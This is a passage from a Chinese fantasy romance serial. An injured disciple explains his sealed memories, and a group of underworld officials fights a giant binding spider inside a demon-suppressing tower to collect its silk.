云昭已经比刚刚放松了许多,她给岑黎包扎好伤口后索性贴着姐姐坐了下来,问:“姐姐,你是怎么发现自己的灵力能这样救人的?”
岑黎眯起眼回忆着:“好多年前在奈何桥上,孟婆教我的。”
“当时桥上排着长长的队,我跟着孟婆正在巡查,忽然有一小片躁动起来,我们过去看发现有一个鬼倒在地上,捂着胸口的手正在慢慢变得透明,周围的所有人都吓坏了,我也是,孟婆就告诉我可以这样救人试试。
当时她抽了灵力但不起效,于是我抽了我的灵力送进那人灵海,再探进她灵海时就发现她自己的灵力正跟随着我的那一小缕灵力慢慢运转着,很快她就好了。”
岑黎低下头看着自己手心里泛着银光的灵力:“但究竟为什么,我到现在也不知道。”
云昭似懂非懂地点点头:“所以姐姐才不能确保这个方法会奏效。”
她把下巴磕在岑黎的腿上轻叹了口气,看了看躺在床上一动不动的云峤,又看向岑黎的手心,直到现在他们这一屋子的人都不知道这事究竟因何而起。
云昭对云峤的感情……她自己也说不好。
她刚到莲花台那会儿还只是个小孩。
那日沈自珩将她送到莲花台来,云师兄抱着她逛遍了这里,带她去各个师兄的房间认人,还交待他们要好好对她,后来她成为地藏最小的弟子,赐名“云昭”,她还记得云师兄当时笑眯眯地喊她的新名字。
从那一刻起,她觉得自己和这一众师兄,还有那些相隔千里未曾谋面的师姐,都成为了一家人。
后来她常随着地藏去昆仑,又回地府,不知不觉中她便长大了,长成了如今能独当一面的云昭,地府中唯一有着“地藏弟子”和“地府鬼差”两重身份的云昭。
这时,她也发现曾经日日陪伴她的云师兄,如今也依然时刻伴她左右,只是她不再经常找他出主意,也不在遇到困难时下意识寻找他的身影。
她发觉这想法时正坐在自己屋里的桌前,捧着脸看着院子里那棵枯树发呆,云峤原本背着手站在树前,可她一眨眼的功夫,视线里就瞧不见云师兄的身影了。
但她没有像小时候一样跑到门口找云师兄。
怎么回事?她不喜欢云师兄了吗?
意识到这一点后,她忽然觉得惶恐。云昭猛地站了起来,身后的椅子被她碰到在地,发出咣当一声响。她伸手去扶,刚摸到椅子扶手就听见屋外传来云师兄的声音。
“云昭?云昭!”
“云昭!”岑黎轻拍着云昭的肩膀,“云峤醒了!”
云昭被拍醒时还有些懵,听到岑黎的话后便想立刻从地上站起来,腿上传来的酸麻又让她摔了回去。
云峤仍然有些虚弱,但他能感觉到体内的灵力在稳稳运转着,且越来越充盈,他放心下来,刚在床上坐直就见云昭跌坐回地上,他下意识伸出手想扶,话也脱口而出:“小心!”
“师兄小心!”
两声小心同时响起,屋里的众人都愣住了,还是施永和先哈哈起来:“好了好了,都小心些,我今日可不想再救人了哈哈哈!”
云峤靠在床头对众人拱手行礼,表情诚恳认真:“多谢各位鼎力相救,云峤感激不尽。”
施永和拍拍他抬起来的手:“我这儿你就不用谢了,我就是配了个药,今日岑大人和沈大人可是帮了大忙,是二位大人去镇妖塔取回了龙角兽血,岑大人为了救你,还把自己手掌划破啦!”
云峤听着脸上的表情更是又惊又愧:“岑大人,沈大人,真是……”
岑黎笑笑:“小事,你照顾我妹妹照顾得这么好,我们去取血也不算什么。”她看向沈自珩,“对吧?”
沈自珩点点头:“是。”
腿不麻的云昭从地上站起来,问出了这么久以来她一直想问的问题:“师兄,你这
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段时间究竟怎么了?”
云峤看看她,又看向一脸疑问的众人,终于叹了口气:“那便说给你们听吧。”
他抬起手伸向领口,从衣领里扯出一根红绳,红绳末端挂着一枚玉佩,他摩挲着玉佩,问:“你们可曾听过狐仙与书生的那个传说?”
“那个传说是真的,其中说的狐仙,是我姐姐。”
原本正低头看着岑黎的手的沈自珩猛然抬起头。
“他们相识的故事我就不多说了,与民间话本中所写一致,我姐姐也一直以为他们会成亲相守到白头。直到成亲前一天,我在山上一座庙里瞧见那男人与人私会。我很生气,想也没想便上前质问他为什么要背叛我姐姐,他慌了,跪下求我不要告诉我姐姐。”
云峤提起此事仍能想起柳文祁那副嘴脸,他捏紧手中玉佩,有些愤恨地说:“我当然不可能答应,下了山告诉了我姐姐,想让她趁着还没成亲与柳文祁一刀两断。我姐姐虽爱他,但也知我并不会用此事骗她,最终答应跟我回家,可就在我们打算从镇上回去时,来了一队人马,声称我姐姐是吃人的狐妖,将她捉了去。”
云昭问道:“那个……柳文祁知道师兄的姐姐是狐仙吗?”
云峤冷笑一声:“这便是关键了,我们都以为他并不知道,姐姐原本也打算在成亲后散尽修为成为凡人……”
岑黎说了句:“但是他其实早就知道了,对吧?”
“对,他早就从与他私会的女子口中得知我姐姐是狐仙,他不仅知道,还想利用我姐姐狐仙的修为助他升官发财,只是没想到会在成亲前被我撞破。”
云峤缓了缓,说,“我也是后来知道的,将我姐姐说成是吃人的狐妖,也是那女子给他出的主意。”
“我姐姐被当成妖捉了起来,没多久就奄奄一息,我四处都找遍了也找不到,便只好去求地藏帮我寻人,地藏带我来了地府,告诉我姐姐在这里,在镇妖塔中。我便闯进了镇妖塔,将姐姐救了出来,送回昆仑。”
云峤勉强扯出笑意来,看向岑黎和沈自珩,问道,“二位去过记忆库了吧?可曾在记忆库里瞧见过我的名字?”
岑黎不解地看向他,并没有印象,正准备摇头就听一旁的沈自珩开了口:“见过。”
众人都惊了,齐齐转头看向他们二人。
云峤点点头:“多谢沈兄帮我隐瞒。如今各位是我的救命恩人,我可以告诉你们实情了——当年闯入镇妖塔将姐姐救出来后没多久,我就被关了起来。
擅长地府一定会被重罚,这点我心知肚明,只是在我以为我会被抽筋时,地藏出面,提出要将我带到地府为众生超度,以此做我闯入地府的惩戒。
昆仑是答应了,但是地府不愿,因我闯进镇妖塔,对其中的禁咒熟悉,为防泄密,阎王与地藏商量了个法子:将我那一段的记忆封存至镇妖塔再次开启。”
岑黎见他朝这里看过来,猛地一激灵想到自己第一次孤身进镇妖塔。
难道是她?!她不知该说什么,一脸错愕地伸手指了指自己。
云峤笑着点点头:“是,岑大人进镇妖塔后,我的那段记忆便回来了。”
53. 结网缚灵 一
“可师兄当时不是昏迷不醒吗?”云昭好奇道,她也是在姐姐带着龙角兽血回来后才知道他们去了镇妖塔,当时云师兄已经陷入昏迷了。
云峤点头,终于说出了这些年他总会有一段时间病着的原因:“那一段记忆被封存后,每两三年我便会有一次病发,有时会头疼欲裂,有时会觉着脊背疼,每次都不一样,只是这次变得更强烈了,我也没有想到,还好有你们,云峤再次谢过诸位。”
“所以你这病症是记忆被封存引起的?”
“不,是天劫。”
岑黎抱着胳膊和沈自珩走出莲花台,一路上一直没说话,沈自珩便也默默地走在她旁边,直到快要到孟婆庄,岑黎才啧一声发出感叹:“天上真严格啊!”
沈自珩有些无语。
“怎么到孟婆庄来了,我们得去镇妖塔找缚灵蛛啊!”她跃跃欲试地一拍手,却被手上的伤疼得龇牙咧嘴。
“这样了还找缚灵蛛啊?你先休息一阵,我也要去找阎王借人。”沈自珩扶着她肩膀把她转了半圈,面向大门,“去吧,有消息我会来找你。”
他都这么说了,岑黎也只好乖乖点头:“哦……那我等你来找我哦。”
沈自珩转身要走,迈出一步却发现自己的袖子被拽住了。他转过身,自己都没察觉脸上的笑意越来越浓。
“笑什么啊……”岑黎嘟囔着,没受伤的手松开了他的衣袖,转而抓住他的衣领,脸往他面前凑了凑。
“沈大人要走了吗?”她浅笑着看着他那双时不时勾她一把的狐媚眼睛,情不自禁地抬手摸上了他眼角,“你眼睛长得真好看,不,都好看。”
她的手指到哪里她就黏黏糊糊地夸着:“眉毛很好看,剑眉星目,鼻梁也很高,嘴唇也粉粉的。”她的指尖在他唇上点了点。
沈自珩拉下她的手握在手心,因放松而有些低沉的声音绵绵地缠上了她,在她耳畔萦绕着:“你喜欢就好……”
唇被温暖覆上时岑黎有些费力地想,天上的云朵也不过如此了吧?
岑黎将孟婆庄的门推开一条缝,一边伸腿挡住要钻出来的狗头,一边回头冲着一直站在原地的沈自珩挥了挥手。
“回去吧。”沈自珩也挥了挥。
被她的腿挡住的麦芽从喉咙里发出细小的哼哼唧唧声,毛茸茸的尾巴一边摇着一边散落着毛。
她把门完全推开,大风站在茶几的花瓶上歪着脑袋正看她。
“大风,你准备一直维持着这么小的样子了吗?”岑黎把和小鸟一样大的大风捧起来,放到在脚边亦步亦趋的麦芽的头顶,麦芽先是一缩脖子,等大风站定以后它也像被冻住了似的,一动不动。
岑黎看着眼前的画面笑得前仰后合,伸手在腰间摸了摸,一把抽出了虚空镜。
“怎么了?”沈自珩从腰间掏出一面镜子。
虚空镜原本是孟婆专有的灵器,其基本作用之一便是传讯,无论是声音还是画面都能从镜子中传出来。
他们二人从镇妖塔走到莲花台的路上岑黎就神神秘秘地从腰间取下一个小布袋递给沈自珩,里面正是他现在手上拿着的虚空镜。
“虚空镜好不好用?”岑黎拽着袖子擦了擦眼角笑出来的泪问他。
沈自珩被她的样子逗笑了:“还没用过,找我就为这个?”
岑黎摇摇头,把镜子转向麦芽:“当然不是,你看麦芽和大风哈哈哈哈哈!”
从镜子那头传出的清脆笑声清晰地传入了沈自珩的耳朵里,他跟着笑:“镜子好用。”
“什么?”
“我说虚空镜好用。”他趴在奈何桥的栏杆上,低头看向手中的镜子。
“哼哼,那是,孟婆说打算以后多做一些,让鬼差们都用这个传讯,以前那个铃铛还是有些局限了。”岑黎往后靠在沙发上,把镜子举在眼前,“你在奈何桥?”
沈自珩那边镜子突然晃了一下,他的视线从镜子转到旁边后又转了回来。
岑黎看他这样像是有事,便说:“有人找你吗?那你去吧。”
“我忙完了来找你。”
他说完便把镜子塞进腰间,看向旁边正色道:“云峤大人。”
最近地府中还是有些冷,虽是春季但仍时有寒风吹过。云峤拢了拢身上的大氅,加快了脚步朝沈自珩走去。
“沈大人,可有打扰到你?”云峤开口,又一阵风吹过,将他要说的话都原封不动地吹了回去。
沈自珩抬手指着桥下的店:“云峤大人,我们去店里避避风吧。”
云峤有些不好意思,但真要让他站在风里同沈自珩聊,怕也是站不住太久。他一抬手:“走吧。”
店里只有孟婆一人在,见沈自珩一过来就冲她指着后面,她点点头:“给你们拿壶热茶吗?”
“好。”
奈何桥下的这家店,说是卖些日常用品,其实最大的作用还是当作存放孟婆汤的仓库,可孟婆汤用料特殊,并不能放置太久,于是这仓库也可有可无了。
孟婆一直琢磨着这事儿,总想将这店改一改,前段时间鬼市重建时她和岑黎一商量,索性改成了茶馆,不仅临河风景好,用水还讲究,和孟婆汤的原材料都一样。
茶馆里的人不少,沈自珩带着云峤穿过一张张茶台,径直走到最深处的一间小屋。
“大人脸色不好,喝点补气的?”孟婆点了点台上写着许多茶饮名称的纸,并没有多问什么。
云峤点点头:“有劳。”
孟婆拿着纸出去,顺手还关上了小屋的门。
沈自珩坐在云桥对面率先开口:“大人可感觉好些了?”
“我叫你沈兄,你就不要喊我大人了吧。”云峤低头笑笑,“来找沈兄是想确认一件事。”
沈自珩挑起眉毛:“什么事?”
门被敲响,孟婆将手中端着的茶放在桌上:“趁热喝,凉了的茶伤人。”
云峤拿起茶壶,拿过仍有余温的茶杯倒了一杯放在沈自珩面前,随后在他的注视下从衣领将一直戴着的那枚玉佩取下来放在桌上。
他指尖点了点玉佩,语气笃定地说:“沈兄见过这枚玉佩吧?”
沈自珩看着桌上那枚红色玉佩,沉默了许久。
旁边的窗户没关严实,一阵风从窗缝里溜进来,打散了茶杯中升
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起的热气。他抬手将窗户关紧,说:“当时这玉佩在桌边磕了一下,可有裂痕?”
云峤盯着他,忽然笑了起来。
“所以我当时会那么……生气。”云峤像喝酒似的一口喝尽杯中的茶,拿过茶壶又给自己倒了一杯,“遇见你们后的第二天我便到地府来了,问了很多鬼差知不知道狐仙在哪儿,都不知道,直到我问,有没有看见一只相貌平平的狐狸。”
他嗤笑一声摇摇头,学着那个鬼差的语气说:“妖冥使的鬼差说,你早说是那只丑狐狸啊!知道,被关在镇妖塔里了!”
沈自珩没说话。
砰的一声轻响,茶杯被放在桌上,云峤平缓了情绪问他:“你是什么时候知道我是云峤的?”
“在我当了阴律司督察后,我用了许多时日查看了地府中所有人的生死簿,莲花台中众人的生死簿地府也有一份,虽并不详尽,但也有些内容。”
沈自珩放下茶杯,“比如在地藏带你来地府之前,你便来过。”
“我当督察之前一直在拘魂使,拘魂使就在妖冥使隔壁,有些新鲜事不用一炷香的功夫便能传个遍,狐仙闯镇妖塔救姐姐这事,也是当时听说的。”
“这样你便猜到了?”
“猜了个大概,地藏来找我时我才确定了。”
云峤靠在椅背上长舒一口气:“帮我瞒了这么久,多谢。”
沈自珩笑笑:“这也不是什么非要人尽皆知的事,我何必多嘴。”他看了一眼仍盯着他的云峤,“你还有什么想问的?”
“地府是不是出事了?”
沈自珩又一挑眉:“是。”
云峤放轻声音:“屏障出了问题?”
“对。”这次他不再等云峤开口问,便主动说了下去,“我想请你帮忙。”
薛礼有些激动地抬起手,泥土随着他的动作落在地上。他不管脚下的一片狼藉,走到沈自珩面前问:“竟是缚灵蛛?缚灵蛛的蛛丝真能补上屏障?”
“是。府君,恐怕现在要尽快杀了缚灵蛛,取了蛛丝将屏障补好。”沈自珩与岑黎对视一眼,说道,“屏障破损已经越来越大了。”
“而且……地府中怕是已经有凶兽进来了。奈河中发现了凶兽的痕迹。”岑黎说着,小心翼翼地抬眼看向薛礼。
奈河先是被怨灵污染,现在又被凶兽污染,而她和孟婆都没有及时发现并阻止……
这一次,重罚是逃不掉了。
“你待如何?”薛礼看向沈自珩。
“明日我便与岑大人进镇妖塔,但缚灵蛛体型硕大,性格凶悍,不太好对付,光是我们二人难以杀之。”沈自珩说着,一撩衣袍跪在薛礼面前,“我还需要人手。”
“要谁?”
“拘魂使谢必安,和莲花台。”沈自珩俯首,“云峤。”
薛礼看着他突然行了大礼,一脸莫名其妙:“要人手给你就是,这是做什么?”
沈自珩依旧保持着姿势没起身:“府君,我斗胆向您求一事。”
“若是此次屏障能修成,奈河也能恢复如初,地府秩序井然……能不能免去孟婆庄一众鬼差的责罚?”
54. 结网缚灵 二
殿上没了声音,好半晌都没人说话。
岑黎跪在沈自珩旁边,她此刻开口还是不开口都不合适,薛礼虽看上去是最好说话的阎王,但其实心思最难琢磨。她左右看看,只能祈在心中默求谢必安和云峤能快点来。
“府君。”谢必安走了进来,瞧见他们二人跪在地上也不问,只说,“方才镇妖塔后那处的屏障又碎了一小块。”
薛礼猛地朝他看去,谢必安顺势问道:“您看什么时候让人去将镇妖塔的禁咒解了?”
“厉温早已知晓此事,我同他知会一声便是。”他走到殿前,瞟了一眼还跪在地上的二人,“你们去吧。”
岑黎谢过薛礼,赶紧伸手拉着沈自珩起来。
沈自珩跟着往外走去,薛礼今日的态度他算是明了了——责罚不可能免。
“云峤呢?”岑黎问谢必安,“我以为你会先去找他。”
谢必安也不知是冲她还是冲沈自珩翻了个白眼:“等我去找了他再过来你们的魂还能在吗?”
岑黎嘿嘿笑着:“应该不至于连魂都没了吧……”
谢必安不忍骂她,对沈自珩也骂不出口,只能拍他两掌再数落:“你非要今天提吗?今天是良辰吉日啊你要用这事儿威胁阎王?!”
沈自珩没躲,背上挨了重重的一掌后才反驳:“我没有威胁……”
啪的一声又是一掌,谢必安五官都快扭曲了:“不是威胁也是讨价还价,你好歹找个更有身份的帮小黎说话,你!你是什么身份!”
沈自珩听见最后一句,挺直了腰背要反驳,话到嘴边却是哀哀戚戚地看了岑黎一眼,这才闭上了嘴。
岑黎不解。
谢必安看懂了,终于还是咬牙切齿地骂了一句。
他们到镇妖塔时云峤已经带着谛听在入口前等着了。
“云峤。”岑黎挥了挥手,“你恢复得怎么样?”
云峤笑着:“已经好了许多了,多谢岑大人。”
“那就好那就好,不枉我流的血。但是镇妖塔里很凶险,以你现在的灵力能应付得了吗?”
一直趴在旁边摇尾巴的谛听有些不满地低吼一声。
“所以我带了它来。”云峤揉了揉谛听的脑袋,“地藏也同意了。”
“各位大人,禁咒解了,那我先告辞了。”还是上回那个鬼差,解开禁咒后冲他们打了声招呼就忙不迭地跑了。
岑黎走过去推开木门,塔内并没有像她预想得那样传出瘆人的吼叫。
“大概是因为谛听在。”她摸摸一直贴着她的谛听,“要是取蛛丝也能很顺利就好了。”
她想到那青黑色的东西便下意识抬头看去——
它在!
众人跟着她抬头,看清的一瞬间都噤了声,谛听更是竖起了背毛,挡在了他们身前,喉间时不时发出警告的低吼。
“这就是缚灵蛛?”谢必安转了转因为抬头而泛酸的脖子,小声问道,“它没有逃出来吧?”
岑黎摇摇头:“没有。”
谢必安有些嫌弃地噫了一声,又抬头看了看那条满是绒毛的蜘蛛腿:“看上去不好惹啊。”
“地藏给我的书上记录着,缚灵蛛的蛛丝在其腹部。”岑黎从袖子里掏出那本书,翻到那一页,“必须在它活着的时候取蛛丝。”
她抬头看着那条硕大的蜘蛛腿。
缚灵蛛得有多大啊……
镇妖塔的门没有关好,忽然从外面刮进来一阵风,将破旧的门吹得吱呀响。岑黎转头看了一眼门正想过去关,就听见上方响起了听着令人牙酸的刮蹭声,她猛地抬头看向缚灵蛛——原本挂在栏杆上的蜘蛛腿正在往旁边缓慢地移动着!
她戳了戳离门最近的谢必安,冲他指了指门,又拍了一下旁边环顾四周的云峤,在他看过来后伸出手往上指了一下。
“它动了!”她瞪大眼睛给沈自珩传讯道,“是因为感觉到了风吗?我们要不趁它注意力分散的时候赶紧上去?”
沈自珩点点头,看了看其他人,低声说了句:“走,上楼。”
谢必安过去将门关上后径直往楼梯走去,正要第一个抬脚上楼时却被一个毛茸茸的身影挤开了。
云峤在后面无奈地喊了一声:“谛听……”
早就冲上二楼的谛听转了一圈后在一边停下,原本竖起来的尾巴也耷拉下去,脊背紧张地绷着,眼睛一眨不眨地盯着上方。
刺耳的刮蹭声再次响起的同时,谛听蹬直后腿往斜上方猛地扑去。
“谛听!”云峤大喝一声的同时,谛听已经借力蹿上了第四层,听见云峤的喊声后它只微微偏过脑袋看了一眼,随后又一蹬后腿继续往上。
原本扒在栏杆上的蜘蛛腿在缓慢而小幅度地移动着,前端尖锐的钩刺在木栏杆上划出一道比一道深的痕,刺耳的声音越来越大,逐渐吵醒了塔内的凶兽们。
谛听在第七层重重落地时,凶兽们发出了此起彼伏的咆哮,巨大的咆哮声犹如惊雷滚过地面,久久不绝,众人脚下的地板甚至都有些震荡,叫人心慌。
“谛听是故意的,缚灵蛛喜静,怕巨响!”岑黎一边飞快说着,一边跑到栏杆边观察着每层之间的距离。
谢必安惊得眼睛都快掉下来了,他伸手要拦往栏杆上站的岑黎,急得声音都变了调:“你干什么?!”
沈自珩在旁边虽然也震惊,但终归还是比谢必安沉稳一些:“你要学谛听一样上去?”
岑黎不可思议地回头看了他们一眼:“我疯了吗有楼梯不走,走这不寻常的路?我是觉着塔中间可能需要有个人守着堵住它,毕竟缚灵蛛不会乖乖爬楼梯,取蛛丝的时候门一开,你们猜它会往哪儿跑?”
镇妖塔中间呈圆形的空地可以从缚灵蛛所在的八层直坠到一层,所以一会儿如果缚灵蛛要跑,最有可能就是在楼上直接往下落。
但谁守在中间这是个很大的问题。
塔身是中空的,离四周的栏杆都有着不近的距离,不管是人还是鬼都没有办法“悬空”在正中央。
沈自珩仰头看着蹲在栏杆上的岑黎:“你早上出门的时候锁窗了吗?”
“没有。”岑黎干脆利落地蹦了两个字。
沈自珩点点头,示意她往下看——清脆的啼叫从塔底传来。<
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p>大风站在塔底看了看中间波光粼粼的水池,一拍翅膀不紧不慢地往前走了两步。
岑黎这一看过去就见大风的嘴又要往水池里伸,瞬间气不打一处来。她一手扒着沈自珩肩膀,一手指着大风怒喝一声:“大风!”
被训了的大风缩回脑袋,扇着翅膀直接飞到了空中,卷起的一阵风里还夹杂着一股腥臭,十分难闻。
那条青黑色的蜘蛛腿前端不再左右移动,而是缓慢地举起又放下,每次放下时钩刺都会深深地扎进栏杆里。
他们趁着这时直接上了六层,走到了能正面看见缚灵蛛的位置。缚灵蛛仍重复着刚才的动作,每一次拔出钩刺都会有大片的木屑散落,那一处栏杆已经面目全非。
岑黎搓了搓胳膊看着它试图摧毁栏杆的动作,忽然发现了一个关键问题。
“栏杆上的符为什么不起作用?”
原本挂在栏杆上的符纸连带着符绳都掉在了地上,却并没有被缚灵蛛的动作激出禁咒,岑黎低头看着自己手边和八层一样的符咒,试探着伸出手拽了拽符绳。
手指搭上的一瞬间,自那处漾开了一阵金光,如同在湖水中丢入了一颗石子一般,一圈圈金色的涟漪向外散开,很快一整层的符绳及符咒都亮起了金光。
她用力扯了一下符绳,绳子在她手中迅速绷紧,排列整齐的符纸附在栏杆上飞快地建起了一道金色的屏障。
“看来符咒没有失效。”沈自珩看在眼里,抬手打了个响指,悬停在上空紧盯着缚灵蛛的大风飞了过来。
“大风,去扯那一层的绳子,小心些别扯断了。”沈自珩伸手指着缚灵蛛那一层说着,仍有些不放心,指了指缚灵蛛对面的方向,“去扯它对面的!”
大风短促地叫了一声表示不满,一扇翅膀飞上去靠近栏杆,用长长的嘴衔住符绳往外一扯——原本掉在地上的符绳猛地绷紧,金色屏障成功建了起来。
待一阵令人头晕目眩的金光淡去后,众人定睛一看却倒抽了口凉气。
屏障的层层金光中游动着许多鲜红的血丝,像数条身长惊人的虫在其中穿梭、缠绕,随着血丝的游动,屏障的金光逐渐蒙上了一层红色的薄雾。
那薄雾轻飘飘地包裹着镇妖塔的八层,连带着缚灵蛛挂在栏杆上的那条腿也裹在其中,显得愈发可怖。
大风扯出绳子后仰头叫了一声,没有再飞回中间,反而迫不及待地一拍翅膀落在了沈自珩身边,还不等沈自珩伸手,就伸长脖子把自己的脑袋塞进他宽大的衣袖里。
看着大风身上的颤抖和躲避的动作,岑黎猜测着:“屏障中的血丝……是不是对大风有影响?”她抬头看向缚灵蛛的方向,那个东西明显也被影响了,几乎呆在了原地不再有动作。只有在下一层待着的谛听仍能活动自如,在七层好奇地来回走动。
“是啊,这层屏障建起来的时候大风还没什么反应呢。”谢必安越过沈自珩摸了摸大风的背,掌心中它的身躯仍有些颤抖。
云峤一直沉默着看那道屏障,忽然瞧见屏障中有一道更亮更细的光飞快地闪过,他倏地一怔。
屏障里竟然还有昆仑的灵力!
55. 结网缚灵 三
“屏障里有昆仑的灵力,所以大风有些惧怕,它怕是上不去了,不如就让它待在此处吧。”云峤皱着眉说着,放在身侧的手掌一翻再一推,一道银色的灵力覆上了屏障,被禁锢住的缚灵蛛彻底不动了。
周围的咆哮声也渐渐小了下来,镇妖塔重新恢复平静,但岑黎却是皱起了眉:“我们上去,我总觉得有些不安心,尽快将蛛丝取出来吧。”
他们转身往楼上去,谛听从七层往下跑了两步,看见他们后摇着尾巴扑了两下又转头往楼上跑,爪子在地板上踩出嗒嗒的响声。
谢必安拍了拍腿上灰灰的爪印,一边往上走一边有些好笑地说:“谛听太兴奋了,都在楼上跑起来了。”
隔着薄薄的木板,楼上传来的“嗒、嗒”声十分清晰地传入他们的耳朵里,但逐渐,那声音中平白又多出一道声响,那声响凌乱无序,甚至轻重也并不一致。
他们踩上第八层时才知道那两道声音分别来自谁——后者来自正伏低身子准备攻击缚灵蛛的谛听,前者,那规律的、轻巧的敲击声,来自缚灵蛛,此刻它正用前端的钩刺一下一下地敲在地面上,沉稳而冷静,像是捕猎前的蛰伏。
岑黎抬手放出一道灵力挡在缚灵蛛前,三道灵力紧随其后,在钩刺要扎穿岑黎放出的灵力的一瞬间,像牢固的绳子一样紧紧缠住缚灵蛛的腿,将带着钩刺的那一段与栏杆捆在了一起。缚灵蛛被捆上的一瞬间便反应了过来,迅速挣扎着,连带着木栏杆都剧烈摇晃。
谛听虽一直表现得十分亢奋,但没有得到云峤的指令它并不会主动攻击,始终保持着戒备的状态站在一边。
看着猛烈挣扎的缚灵蛛,岑黎的眉心皱起了鼓包。
“现在缚灵蛛的身体还被关在房间里,从窗口探出来的只是它的一条腿。”她揉着太阳穴,“如果刚才不捆住,它很轻易就能扎穿我的那道灵力。”
她看向仍挡在谛听面前的那道灵力,刚才仅仅是被缚灵蛛腿上的绒毛擦过,就已经布满了密密麻麻的裂痕,伸手一碰便会像碎玻璃一样散落一地。
沈自珩也皱眉:“它很快就要挣脱了。”
被捆在栏杆上的那条蜘蛛腿是栏杆的两倍粗壮,挣脱是早晚的事,但岑黎转头看去的时候还是被它的强壮震惊了:那一处木栏杆已经被连根拔起,但因整层栏杆是个整体,周围的栏杆仍在地面上,却也岌岌可危。
栏杆摇晃的嘎吱声频率越来越快,站在一旁的谛听也严阵以待,它夹紧了尾巴,微微张开的嘴里呵出一道道热气,锋利的犬牙暴露在空气中。
“嘎吱——”栏杆断裂的脆响与灵力绳崩断的响声几乎同时响起,四人抬手时谛听的后腿用力一蹬便扑了出去,犬齿猛地咬上蛛腿唯一脆弱的关节处,齿尖嵌进硬壳的声音传出的瞬间,青黑色的汁液自那处流了出来。
“云峤!七爷!加强屏障!”岑黎手掌一翻,乌色长镰伴随着尖锐的破空声出现在她手中。她坚定地看向沈自珩,“现在,开门。”
云峤和谢必安将自己的灵力覆上屏障,原本在低层飞着的大风听见声音后飞了上来,守在了八层中央;谛听被缚灵蛛甩到了空中,它在空中猛地转身蹬上墙壁后又扑向了那条张牙舞爪的蛛腿,前端的钩刺堪堪从它背上擦过。
“铛”的一声,一道银色的光飞快刺来,直直扎进缚灵蛛的关节,又从另一边穿出后落到地上,枪身上沾染的青黑色汁液顺着地上的缝隙向四面八方蔓延开来。
沈自珩抬手将银枪收了回来,草草地用衣袖蹭了蹭枪身后伸手勾住门上的锁。
“准备好了吗?”禁咒已经悄无声息地解开,他用手指勾住的这道锁便是对缚灵蛛的最后一道禁锢。
“来吧。”
手掌大的铜锁落地的瞬间,沈自珩便脸色骤变,猛地抱住岑黎往旁边躲开,两人刚将背紧贴上墙壁,一道沉重的撞击声便震响了整座镇妖塔,在场所有人几乎同时觉着眼前一片天旋地转,耳朵里也嗡嗡作响,连站都有些站不稳。
躲在墙边的岑黎晃了晃仍有些晕的脑袋,探头往里看去。
“有两个消息,想不想听?”她摁了摁发胀的耳朵,偏头看向旁边的沈自珩。
沈自珩看着她:“你说。”
岑黎往门口挪了一小步,露出一只眼睛,边盯着里面边说道:“第一,缚灵蛛是被一个巨大的铁笼关着的,我看着那个笼子应该是直接扎进了地里,它一时半会儿出不来。”
“第二呢?”谢必安问。
“它很大,非常大,而且这只是它的一条腿。”岑黎皮笑肉不笑地反手指着房间里,“这里面还有七条这样的腿。”
和其它关着凶兽的“牢房”相比,这一间大得无可比拟,但因缚灵蛛仍显得满满当当。牢房正中央有一座巨大的铁笼,铁笼间隙约有半人宽,缚灵蛛的腿从间隙中伸了出来,在房间中随意动着,但它硕大的身体就不能活动自如了,始终只能保持着现在的模样。
岑黎又往门边蹭了一步,视线在牢房里扫了一圈,又长又粗壮的蜘蛛腿几乎将房间的角落都塞满了,大门这个方向的两条蜘蛛腿,其中一条刚刚被谛听咬了又被沈自珩的银枪扎穿,现在险险地挂着,另一条大概就是刚刚将门拍飞的罪魁祸首,正在空中挥舞着。
蜘蛛这个东西,最可怕的就是它的每条腿都能自由活动不受限制。岑黎在心里咂舌,还没感慨完就觉得眼前一晃,随即便闻到一股腥臭扑面而来。
“小心!”她来不及反应,闻到腥臭味的同时握着长镰的手便下意识抬起,将长镰横在身前,“铛”一声金属碰撞的响声过后,岑黎甩了甩被震麻的手,抬头看去,正是那条在挥舞的蛛腿,它正后缩着,准备发动下一次袭击。
“又臭又硬的东西,可别沾上我!”她屏息提气,将手中长镰猛地击向地面,同时猛地跃起,借着力飞向铁笼,“自珩!你看着办!”
话音刚落,银枪又像刚才一样如同一支利箭猛地刺向蛛腿关节——那是蛛腿上最薄弱的地方。
岑黎身旁的蛛腿被银□□中了关节,缚灵蛛猛地抽搐了一下,几条蛛腿挥舞
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得更加疯狂,钩刺带着风声扫向四周,地面被划出一道道深痕。不过这一次银枪彻底扎穿了关节,正牢牢地卡在其中。腥臭的汁液大股地流向地面,片刻后,那条腿便沉沉地落在了地上不再动弹。
“看来好用。”沈自珩伸手拔出银枪,又一股汁液被猛地带出,险些喷上他的衣服。
外面的谢必安砍断了被谛听咬了的那条蛛腿,跟着走了进来,看向屋里四处挥舞着的蛛腿,举起哭丧棒跃跃欲试:“开始吧?”
“等等。”岑黎用长镰挡开蛛腿的攻击,说,“万一还没砍完它就死了怎么办?它死了蛛丝会立刻在它体内化成水的!”
原本要下死手的沈自珩和谢必安都顿了顿,减轻了出手的力度,只将蛛腿击退。
“那怎么办?”
岑黎余光瞥见一道光闪过,她脚下错步的同时举起手中长镰向下狠劈,一小截蛛腿被斩断在地。她抬手摸了摸肩上的血痕,龇牙咧嘴地说着:“我说过,要在它活着时取蛛丝。”
她旋身站到沈自珩和谢必安中间看向屋子中央缚灵蛛的躯干,快速思考着——似乎不用打开铁笼,直接用长镰将它剖开就可以了。
但还有一个棘手的问题:缚灵蛛的腹部也有钩刺,密密麻麻的两排。
她侧身躲开朝她面门飞来的钩刺,又伸手在身旁两人的背上一推,避开了飞向他们的钩刺。短而利的钩刺落在地上的一滩汁液中,岑黎低头寻找,想看看那钩刺究竟是什么样的。
角落里青黑色的汁液中,白色的钩刺逐渐融化。
“汁液有毒!”岑黎看着融化的钩刺大惊失色,飞身躲开朝她刺来的蛛腿后她往沈自珩的方向扑去。
感觉到后方有东西过来的沈自珩刚一转身就看见岑黎朝他扑来,他伸出双臂去接,却见岑黎举起长镰,刷啦一声,镰刀将他沾上汁液的那处衣服划断,又反手挡了如蛇一般绕过来的蛛腿。
“小黎!”沈自珩伸手接住她,只一眼便看出她现在的状态已经十分不好。他焦急地打量着她,“哪里受了伤?”
岑黎抬手指了指肩膀,那里刚刚被钩刺划了一道,但并不很深,她倒也没有在意……
被钩刺浅浅划过的皮肤周围已经开始肿胀,颜色也呈深红色,隐约还有扩散的趋势,更严重的是,她那一侧的胳膊抬不起来了。
沈自珩抬手覆上那处伤口,金色的灵力源源不断地往里灌。灵力止毒是不可能的,他也只能用灵力将那处伤口包裹住,让毒扩散得慢些。
